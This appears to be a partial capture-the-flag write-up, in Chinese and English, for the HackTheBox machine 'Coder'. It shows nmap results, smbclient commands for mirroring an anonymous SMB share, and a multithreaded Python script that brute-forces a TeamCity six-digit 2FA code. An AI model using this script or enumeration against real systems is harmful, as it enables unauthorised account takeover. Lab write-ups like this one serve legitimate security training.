$ nmap -sC -sV -Pn 10.10.11.207 Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 14:41 CST Nmap scan report for 10.10.11.207 Host is up (0.083s latency). Not shown: 987 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-04 08:44:05Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time. | ssl-cert: Subject: commonName=dc01.coder.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb | Not valid before: 2022-06-30T04:24:26 |_Not valid after: 2023-06-30T04:24:26 443/tcp open ssl/http Microsoft IIS httpd 10.0 |_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time. | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server | http-methods: |_ Potentially risky methods: TRACE | ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US | Not valid before: 2022-11-04T17:25:43 |_Not valid after: 2032-11-01T17:25:43 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time. | ssl-cert: Subject: commonName=dc01.coder.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb | Not valid before: 2022-06-30T04:24:26 |_Not valid after: 2023-06-30T04:24:26 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time. | ssl-cert: Subject: commonName=dc01.coder.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb | Not valid before: 2022-06-30T04:24:26 |_Not valid after: 2023-06-30T04:24:26 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time. | ssl-cert: Subject: commonName=dc01.coder.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb | Not valid before: 2022-06-30T04:24:26 |_Not valid after: 2023-06-30T04:24:26 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.53 seconds
80/443
直接访问是IIS默认页面:
445
smb可以匿名访问:
SMB
Development
Development里发现一个加密文件和对应的加密程序,还发现有adcs相关内容:
下载下来分析:
1 2 3 4 5
smb: \Temporary Projects\> mask "" smb: \Temporary Projects\> recurse ON smb: \Temporary Projects\> prompt OFF smb: \Temporary Projects\> cd .. smb: \> mget *
import argparse import typing from concurrent.futures import ThreadPoolExecutor import requests import tqdm from loguru import logger import warnings warnings.filterwarnings("ignore")
defchunks(l: typing.Iterable, n: int): """Yield n number of striped chunks from l.""" for i in range(0, n): yield l[i::n]
deftry_cookies(wordlist: list, pbar: tqdm.tqdm): s = requests.Session() s.cookies["TCSESSIONID"] = args.session_id s.headers['X-Requested-With'] = 'XMLHttpRequest' s.headers['X-TeamCity-Client'] = 'Web UI' s.headers['X-TC-CSRF-Token'] = args.csrf_token for guess in wordlist: response = s.post("https://teamcity-dev.coder.htb/2fa.html", data={"password": guess}, verify=False, allow_redirects=False) if response.status_code == 302: logger.info(s.cookies.items()) logger.success(f"Logged in with code {guess}") # elif not response.ok: # logger.debug(response.status_code) pbar.update()
if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--session-id', '-s', default='843D031AFDB95E5CAC860C82FF503DDE') parser.add_argument('--csrf-token', '-c', default='50fbe4ac-459d-4eca-9b35-efeefd9a794c') parser.add_argument('--threads', '-n', default=100) args = parser.parse_args() wordlist = tuple(f'{x:06}'for x in range(1000000)) with tqdm.tqdm(total=len(wordlist), mininterval=2) as pbar: with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(try_cookies, w, pbar) for w in chunks(wordlist, args.threads)] results = [] for future in futures: results.append(future.result())
GoateePFE/ADCSTemplate: A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds. Could also work in production to move templates between AD CS environments. https://github.com/GoateePFE/ADCSTemplate
GoateePFE/ADCSTemplate: A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds. Could also work in production to move templates between AD CS environments. https://github.com/GoateePFE/ADCSTemplate